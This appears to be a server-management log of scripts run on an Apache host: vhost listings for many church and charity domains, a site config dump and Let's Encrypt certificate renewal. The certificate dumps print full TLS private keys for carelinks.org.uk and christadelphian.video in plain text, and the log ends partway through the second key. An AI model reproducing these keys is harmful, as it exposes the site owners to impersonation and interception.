rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf= 1'
fi
2025-10-27 06:00:37:
chmod 755 /tmp/pkp604253; /tmp/pkp604253; rm /tmp/pkp604253
2025-10-27 06:00:37:
2025-10-27 06:00:37:
PUT: /tmp/pkp684501
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-27 06:00:37:
chmod 755 /tmp/pkp684501; /tmp/pkp684501; rm /tmp/pkp684501
2025-10-27 06:00:37:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-27 06:00:37: Establishing a connection
2025-10-27 06:00:37:
PUT: /tmp/pkp299496
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-27 06:00:37:
chmod 755 /tmp/pkp299496; /tmp/pkp299496; rm /tmp/pkp299496
2025-10-27 06:00:37:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-27 06:00:37:
PUT: /tmp/pkp803010
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks_www_org-uk.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-27 06:00:37:
chmod 755 /tmp/pkp803010; /tmp/pkp803010; rm /tmp/pkp803010
2025-10-27 06:00:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 1403
<VirtualHost *:80>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-27 06:00:37:
PUT: /tmp/pkp284471
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-27 06:00:37:
chmod 755 /tmp/pkp284471; /tmp/pkp284471; rm /tmp/pkp284471
2025-10-27 06:00:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt 5385
64:34:3f:64:38:d1:e7:12:29:8d:e3:a8:f7:95:0e:21
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBcjgwF6tV3LL71O4OhCH3IVyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI3MDUwMjA2WhcNMjYwMTI1MDUwMjA1WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAnib/5zjqcxH3bNZiOgx/r0v2x2LKJ8UUCJuS2xkUZBXgUdM35mmuzS0GLInL
SANvTNRARWqgVyNZ/RYFbrGpZb169V2vhK3/L2u971xT3ExyJbc/rbZFw7jw6peK
ky03FHVT64Fko+P6zr47TUm8kQEqPo3Zu4sclTXjFgKYikmtGB5cl8kvnnzqEjBt
8kAg8Nmpp5RIiRcaIad8yXeq1QfY68RwC2eLD18Mu3Bqak3/oNtyT1DcX5o4CmH3
2ayStWqOgdPRE4TjDHx0e3DQalReTZAuDRSRNPnWpiIVlNMcp/hF15MEZSipK1qx
T32QFLeYybHGtdItY7UDF090CQIDAQABo4ICOTCCAjUwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT2IJ8fHBevywcV7JDxS2ezgtMphTAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1Ud
HwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE1LmNybDCCAQYG
CisGAQQB1nkCBAIEgfcEgfQA8gB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmiRBFF8AAAQDAEgwRgIhAK22lcVyHr4s2/We0o4tOZvrg64i9uaS
0Xie3jHYCNerAiEA1jlTO16mLHpTX6iqHiKLtiBDIDuWEYl2TYTbe+pLOncAdwAZ
htTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZokQRRcAAAEAwBIMEYC
IQDKlEgHTE4uu1bhuQcMxBpsPOKuKqhNbjaiyhsUrtAPHAIhALrZ7UWKoNl+RZxf
P9kK63+fC2e4m1tdZWhKB3wh4VK0MA0GCSqGSIb3DQEBCwUAA4IBAQCHnHBRs/9i
csDndbzwlbfw8cJ1ZK+69F9jidcgxgrQ6kxjO6OEmUIbXDgZvQturg2VabU6rMRM
Uh8SMPSUPSNGwJKGyBSKGtaQkvTpqF26/vaBRNC3TF142doWHJuy4uFOpC2ydItZ
dDCTQkH/YoCzSwqnPuUxBl3xy45s0dlhDJ4BxcxR0YBxlgHgMzoFA0iOnRR2ok/X
0BHUIyoI8NeopMB6rnVwAB6ih/xkfanUuRQumaQewC8Z81vMT+Rw3wEgs1rOGtbv
/z70leJUQ4rrZwXiAGPiuinIjP5anRGNmkZC4/SyWKDTBsj0/XQJvlgKXtPf7Mow
ew+A27Qvqa2z
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCeJv/nOOpzEfds
1mI6DH+vS/bHYsonxRQIm5LbGRRkFeBR0zfmaa7NLQYsictIA29M1EBFaqBXI1n9
FgVusallvXr1Xa+Erf8va73vXFPcTHIltz+ttkXDuPDql4qTLTcUdVPrgWSj4/rO
vjtNSbyRASo+jdm7ixyVNeMWApiKSa0YHlyXyS+efOoSMG3yQCDw2amnlEiJFxoh
p3zJd6rVB9jrxHALZ4sPXwy7cGpqTf+g23JPUNxfmjgKYffZrJK1ao6B09EThOMM
fHR7cNBqVF5NkC4NFJE0+damIhWU0xyn+EXXkwRlKKkrWrFPfZAUt5jJsca10i1j
tQMXT3QJAgMBAAECggEAJ43rfOIQSR1aO59Wy9vqZ2ZhXzbHBrFUtF5smV2paurJ
ws1H8tnFvU0geS0xaV5qjNWdCX+EgKa30AOc8jV+/5InWYzH5DA8XZjd1SrLUpLQ
DbzKMWEgC7aKkrG6F9s8JmK9zW38RL01MlYDsO3bOo0HCsQhi7VcPblPhWa6zgMA
j2cu3FJvYBI8L3kzYPTctQaVEqvaWVON5P6HrsPN6tKZ3//AAgCQRVHK9ZiJB81O
lESyYaTC9xlgjnb21SGDyQLwM8kG3EvqTyvM7FfCkryRTuf6nkKieBiiaMupeCZK
KMTFsLn71d4MCTHoSA3s1fwvbGziXAfQfx5Op9y0HQKBgQDQp1esQQBPkqFbxJq5
XEMZrcYaocMo9Las6/bpLrBC8qJEJFsyiNULugWcNAxTtOFtcYxKg/IEkLZFDWkr
bjahF4GfLMXsNiC1eTktppBCtdalckYVR6C9glyfEtwQ8toTeQjGjVpcSJ3V7fVc
6RDrJZQDn2Ur5pkVlG/fKPnOowKBgQDCCgrz0WJIemkFza4mgOZfFetXBu1MasFd
uTB+590GyoIe3ehHlnYJWriZAWjDsSewMbnJiFGa0h45/dae+A0taUPMifcww8vf
z2xB+NXjNScWJzCldRuabfRQBuEWnMKR57+OsoqM6B0HorJ6DnVwaT4koCp7Zv/L
99V9C+j5YwKBgQCb/pBwiwRVeXXDqyBWNqFAAIhcftXut84fSCcIPMywsMAaG+hG
xsApDUGGf+87Yb8r2LmfODhnq11qENWxD6wuEenp/EpZCDq6ElBqTd4K0fIRLXcy
D6QgKudeUnZPAZGC/3lNIH8PAYdnWomXlfP9KdIYR0IXaUbIOHrPJ85j6wKBgE3d
b9W1sWX6UUi15+ulkEyZ5C2xJuqicGQm23Iho02FWEAAtqR7mXRZhnhH232kCpQm
8DISVQT2ypBk74otakRN2Josxxg3igmPGBdFPreFbeDy6w+KdgA7nW27xPmpAF9C
i1k9BmJTBss4m7xlLvVkFj7mUwXgKEf2dSJP9DaXAoGADD+lR/eHisq6A1Lxi8u9
qh2atdj11VPIHWfkrGfXMdNicofP+r3CO/JvVNYvsl/U7OjkROrFRyY0QpPglRRa
cbG9r+L6fi/oD2AAbrWKmdD+E5RUa/oCLnCdD1rAQ0wKH/Y/M4MRZKnlkRWFStp7
zK/LYHeoX/tTQ6WnDDFOKQ4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-27 06:00:37: Establishing a connection
2025-10-27 06:00:38: Establishing a connection
2025-10-27 06:00:38:
PUT: /tmp/pkp741032
#!/bin/bash
if [ -d "/var/www/christadelphian_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-27 06:00:38:
chmod 755 /tmp/pkp741032; /tmp/pkp741032; rm /tmp/pkp741032
2025-10-27 06:00:38:
1
2025-10-27 06:00:38: Establishing a connection
2025-10-27 06:00:38:
PUT: /tmp/pkp573846
#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
cat > IKxE_NxfD6CRURqw7gXSietkqSek3IdyWAa9XLU914w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
IKxE_NxfD6CRURqw7gXSietkqSek3IdyWAa9XLU914w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 IKxE_NxfD6CRURqw7gXSietkqSek3IdyWAa9XLU914w
2025-10-27 06:00:39:
chmod 755 /tmp/pkp573846; /tmp/pkp573846; rm /tmp/pkp573846
2025-10-27 06:00:39:
2025-10-27 06:00:42: Establishing a connection
2025-10-27 06:00:42:
PUT: /tmp/pkp796765
#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
rm IKxE_NxfD6CRURqw7gXSietkqSek3IdyWAa9XLU914w
2025-10-27 06:00:43:
chmod 755 /tmp/pkp796765; /tmp/pkp796765; rm /tmp/pkp796765
2025-10-27 06:00:43:
2025-10-27 06:00:43: Establishing a connection
2025-10-27 06:00:43:
PUT: /tmp/pkp948614
#!/bin/bash
temp_file=$(mktemp)
TARGET=ef56788a9be5d522516b6c274e285339.crt
cat > $temp_file <<'endmsg'
5c:f1:b3:5e:51:0d:47:68:83:70:fb:83:f6:78:51:97
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBZZGqBWbTKTu2cQTm4QpoulOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMjExWhcNMjYwMTI1MDUwMjEwWjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDU3IGZnPCOnbpjw44xCkAQwj8UP8tqEvrcBmHO28w8YMjKdMsV9rxm
V0ucCOXGvDe+sKJzC37fRuGmQJOh0Npc/LWb1XSyQ/04AzeywOknuBubmDz4baev
c1CVh3DNSMnCRfAmdBbyeDBzeSxiXWxbliYpl7Cztvd/27cEssPiZZP/a2YIVE7A
XVN1TeMwUCerH8OZkTvTzHeU325P2/k1c5fGbkpPH7un4ORAbISboGg76wjljKeE
M+SFHLWuAvXbxtnIcy9auV2DRVZvu3d7j9O8Rx49zxulx0d5AxPEZDgtN7bhuXhb
FHWKllGnM5Mb8ZpWXe5dGPMB97UMgx73AgMBAAGjggIlMIICITAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFBtg1WszV6s0AS7RxtuBBGWKsnZxMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzkuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaJEEr
tAAABAMASDBGAiEA7yZtMyIttUvr15r9ZI4mFkz7flDzgSsLSlTfmfUuBB8CIQDY
n8XzHtsu8isrmzxiDFFwy/Ph9xDLrZOO2dX8TiY8FQB1AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABmiRBK/8AAAQDAEYwRAIgHbYkG3mxyUdLpyF2
d275iI9uCUueZu98pQ1Axs0BqRMCIAjVsQvqgpO9GXtIUPJu9gMeWA0L+DRVrZtA
R7KMu7avMA0GCSqGSIb3DQEBCwUAA4IBAQCWan4j7rCdm4SBDVfiVVcnoaNkKC3r
1HxlukgGnddYO5SKnHewBa46UdnbGJnJ6HfuQuOtjW3TvGIo6/OEaliNeBaaspp8
cM8xgAMnVs2jMDvmSvi7ycwKXdkGF3lTFL3QI2SwboGsuq5SGW9zY9/YorPdwBrp
iDz6+/UdD2COllcJwXqcL63cb1Jy+cwEEmjb69zs/zkg8XDQlRn3fTz9LN3B0CcI
w86UZaxaVEx9d03RUlSHKivEtohVaGs1j18LGzU4AsbPUADoQQq7JCVoXDFIY1Uc
eX0kW7IW38NspXjG3BuXYh2HqBb9SMC/jyV+XYgNnoPH29xLSog0hvl5
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDU3IGZnPCOnbpj
w44xCkAQwj8UP8tqEvrcBmHO28w8YMjKdMsV9rxmV0ucCOXGvDe+sKJzC37fRuGm
QJOh0Npc/LWb1XSyQ/04AzeywOknuBubmDz4baevc1CVh3DNSMnCRfAmdBbyeDBz
eSxiXWxbliYpl7Cztvd/27cEssPiZZP/a2YIVE7AXVN1TeMwUCerH8OZkTvTzHeU
325P2/k1c5fGbkpPH7un4ORAbISboGg76wjljKeEM+SFHLWuAvXbxtnIcy9auV2D
RVZvu3d7j9O8Rx49zxulx0d5AxPEZDgtN7bhuXhbFHWKllGnM5Mb8ZpWXe5dGPMB
97UMgx73AgMBAAECggEBAJbEVFtMaKprF4DgGw+rFfOI0gryoI5SQTKkppRQ5FkD
qFSV4t58s7a9MAWl27Im0EkVbQqVYticqOkLpkWf23qvV6a3yv8U3v7UcJgAwWPr
qEpNyyme6X2A7NvsYb5VRup+hPmHklVNQewYMJK/XyeDsyYUlgjEmIsMQZZnVA0+
4ISqeE+S4YOhAaIZXYCO+KIcYB+m+ZbVIIPc0z4GygIB9BpZ2XpehAuk/4hCHRDf
1WAE6L86lrbtetc6v5mLguLT9xjiVVkznsX/IswTvKv/YfJC4CyODkMD+8vj6XCX
NIF1n0QGGIQJoTt4fhiTxbGSSJIzoYFTpuNowC9ggmkCgYEA7+oucuVmfkMip4Hx
WFW2I4HVYSCuRjO3FtUoXyjnlukEb3ws0GVPhHhXzjQqx2/bsKKeNJu4m/fXzWYI
A4G6JisjAJWtJKLTd9Bec7jtIRMttOMejNn2FJrm1tuwTD2kKuhYvXkWgJVHlvV2
UCkfMK+IlEUdrpxMv4cA435ElYMCgYEA4yH9IWgrI/pKIl4l6y8+M6Z93aCMvg6y
93Zf/PFIWtwnpkXMx7ZFNUg50BKGFZe/MJZb62ajACxs7zHNC9hRdNb99rLlM0L1
YMG7cJBUniMXvX/wJEjlD+0+TOlG/feutlJX6IeB6eEyqd0++CZU2mZo+pJM6ydM
